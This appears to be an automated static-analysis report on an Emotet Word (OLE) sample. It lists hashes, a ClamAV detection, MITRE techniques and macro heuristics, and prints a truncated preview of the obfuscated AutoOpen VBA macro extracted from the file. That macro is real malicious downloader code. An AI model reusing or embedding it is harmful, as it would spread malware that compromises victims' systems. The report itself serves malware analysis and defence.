Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 2be2af5135aff09c…

MALICIOUS

Office (OLE)

134.6 KB Created: 2018-09-28 09:11:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 81d9d5644687938a2de94d94f06d9f8b SHA-1: a11b95b60448e4856cb582e56ea0d39f4f982e6e SHA-256: 2be2af5135aff09c03a9676a1832ec019493dd6efb776c221bb83ab64876b390
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample was detected as Emotet by ClamAV and contains critical heuristics for VBA macros and Shell() calls. The AutoOpen macro is present, indicating an attempt to execute malicious code upon opening. The VBA script likely downloads and executes a second-stage payload, consistent with Emotet's behavior.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6826489-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6826489-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 84527 bytes
SHA-256: 67bf4c642fba86e7665ba8ecc44338bd2d09b56dd21dfc34d2bf3c6e3e0d75dc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "kQSIzGDwt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim fRXLHk(2)
fRXLHk(0) = InStr(LRAdH + mhnKzwliZsEjiTDqja + AiBGVza, IJXZuNa + fsmPjfcihaRTcbjwIblDK + zJJoFdXA) + InStr(wlzVit + pTojwdHhKHtocIjRubwtS + wBiai, KUnHTN + YzNtAdWNqLcWRsznjGwD + ZiHVcL) + InStrRev(NDzfZhf + UkTFztNlVZzaZUbzPHli + JNvuwQIG, SLTbkiI + fmndAzFGKRiGNPoSpFRssv + AAOlzv) + InStr(EWkuzrK + QvMwEmFwBkNtuiXaSYRnS + SvmUz, vbzQYvNJ + tDMKbWWmDJItKtUJMU + XwSiGCJs)
fRXLHk(1) = InStrRev(HuPaAqt + KrjXcrXNtzbppMJTQUdLA + OijtdPwW, raprjpHz + SEAmnazijjflsdHQjiS + wlTbji) + InStrRev(rbZJi + vpzsMLpFOrLZjAIipC + SzKUoKLT, CUujZjB + OMpTWcRuAwIDhqCvXitudf + fAaZjE) + InStrRev(mdjns + mSRYwnBjjFNRMnZNm + bPDzjDCN, AOGbL + bbzttaqoUQsOikVCUBGAwTR + COqAj) + InStrRev(LuEhoNI + lUAZQtSJnzUaAadlRiPM + YajKNHsE, wQcwJv + tdRkudFPXkFVINhjZvfEQ + cLwhbVY)
   Dim XdwwiR(1)
XdwwiR(0) = InStr(zJtHiYW + GEWrGBqVFGuCpCHnaf + RhYLd, jwEQNtLz + LGIMGhwMDjRjYzEJhqJ + VHplbnr) + InStrRev(LOZYvLAb + NMRPjbvHnjlChfsLtZMbbX + ACsJGz, QDsIJ + kRGZLrtEHQwsBkXLotOidm + OmFjBH) + InStrRev(KVwzYHz + pCzJjBlwzwVnAVfSHX + KZaUtZnh, dnjLMiY + DJjGXsKwcfYdajFtHMLQD + pEpIw) + InStrRev(ZLfbT + jckFPKzWWdcirtjTOCF + flVEPhNP, YjaKnc + iTfTOGmmvzoZdadouzoIN + YCRisr)
   Dim KanjF(2)
KanjF(0) = InStrRev(YVULspDu + MjwNYBaIuTBvPpCHEldVz + wwumHBd, rbFlY + DJiWaEuzBnzFiFpFcNOnR + GpVkQ) + InStrRev(NZMTkIrU + GOdiZhdATkKpWMzPZPkDIsJw + jNHObj, jjIsjUPG + qGltsfaWKVmQiPFdwNpJ + SjhfPnB)
KanjF(1) = InStrRev(IZinVc + KsYuPtDFKdGwjJaw + GWTwraZz, BIJiRho + nbKdYBHcCdudEVEzY + GdaczN) + InStrRev(zVYrFQv + NpTwvzqXzavcqdUjCwmo + CIVmpvIc, ifYLjkE + vjXiuivPqwbBioUlYCSTS + duJASsCY) + InStrRev(fiaDCz + LJhzYSrSLNdQEFslOXFYc + NKuiVCZ, zOfVq + ZrLLwGawKOiOEEmFhUk + Ejwal) + InStr(vGUjjR + nETjLouTMJbilpCAHNbf + nTYtZD, zRdABi + QzOczJilqiQZciJXVWZ + VDlUw)
   Dim LWfVc(1)
LWfVc(0) = InStrRev(tiPzGo + zkhJwuJDfwficwWdcar + Wbvbq, KiciL + aYOMbqjrQjzwjoIzVnWz + qimwBw) + InStrRev(XvEONP + FkfuqOQwnVLhqDZlLtTpRtk + HYbtFpim, cbOnAOd + jriWUdjluNBGocMcFsIR + QKwGTb) + InStrRev(DtwcBH + CwsGaWlvcBBVpZGDTmfS + jCujPWE, pMYzptX + qZmwOVDvDwkafrUsFj + pmzMBZQK) + InStrRev(VbsomnZ + bBPwSwTwZfGizKPJTdi + JBBhr, TuUivZn + CGSlQUrPqbYPrizpRjRbt + MJGhX)
   Dim zsqrNO(2)
zsqrNO(0) = InStrRev(NuDBFj + dWPNHMQqodRXkJrWDzaW + jPPbj, RvYzj + kbQBYlLdCUrNMBnIMbzBzJp + cLuCC) + InStr(bjYzVpk + HoluQHzYuKnajQLTSIRp + ZHiBmWq, pUDajUpw + uzANfFiRUEqUqArwlX + mdYjpbw) + InStrRev(mhNbY + nhsYqjwUGtUwAtXNkHiP + rsESPs, sIEfv + iDGjhiLtwnELFRoFzquC + bOFrpF) + InStrRev(JFEbjVp + LVcoGzBmqqmNwWFPY + qJSBC, lSPlIij + VQEoCPzvVDiJPaHiSWE + ZAXaAE)
zsqrNO(1) = InStr(PwkwUj + WSFhjzcpzvbCQVqOC + zqUjPL, UjGCwDz + aYUlCJZzvTdiRISOMAjQ + cPVzTw) + InStr(LndWc + uRPPLwpHSnlkAIzXZtESj + VSiVO, jRjTAL + AOhfNjHiVYEWnqwjdXklE + EitWHl)
   Dim bEiwl(2)
bEiwl(0) = InStrRev(JCapicnI + jqCSiIdpbmXlwDNbcZQUrS + dzERnuim, lwwBLwRJ + imznahBQWLzhPzJwcGKqr + fbOUCi) + InStrRev(PrwQrGz + qjmOhBLHKJKTkIBVn + dSBzIp, sfdoAK + warJuXWvwqjbqaVD + hthqpR) + InStrRev(fuzTGDv + ZFviELzjoDnNiHvjKSEGt + BsNbAf, vzZidhhD + atSQpXSPlTVzBpoaIoXs + JWFnzcO) + InStrRev(SwzlCpJ + JUawXtWbdzoCAsBMAQJEW + sqZDlwa, EILzMzc + AoPwEDWzNAAPEcozXszNvQn + BACnHT)
bEiwl(1) = InStrRev(TvlVhzA + jpEiLzidtBjQiBmz + swiwU, bpvwA + wUnqpCJZUFzPUqDCurs + rEmDnwC) + InStrRev(zSKOvHI + WOqUrrJkuzvpGzlPFq + iVPCjR, uqcWHvWN + iNIdjKLNwVsuzLzbo + VwCEMjrE) + InStrRev(UnLNIB + qUESasEbJkGNmsKaf + TITzXJM, KNWzjnDX + HIiUEOaZVwaGBvwcfi + VZKPIdwp) + InStrRev(TpTloPL + mLpkHOjrEvUdPOuXFzajMz + vQHjRW, ifpDA + GkrGqaFYUoDmLfdknSkVdwdJ + ErWjBUv)
UjjaQbiKnOmRF (KeyString(nOLWPR + SQNsvOjk + 21 + 18 + 28 + PftKRtBi + DCIjz) + cOHZcCt + MVcohzjE + KeyString(iczSVjhs + HdtpjH + 24 + 21 + 32 + NmczU + jFvUGTE) + chQkST + vKRamNR + okLdzBNv + plAkWNkh + bwsbkkiC)
   Dim KCqRn(1)
KCqRn(0) = InStrRev(LCGbDBQw + awlPwEHivzD
... (truncated)

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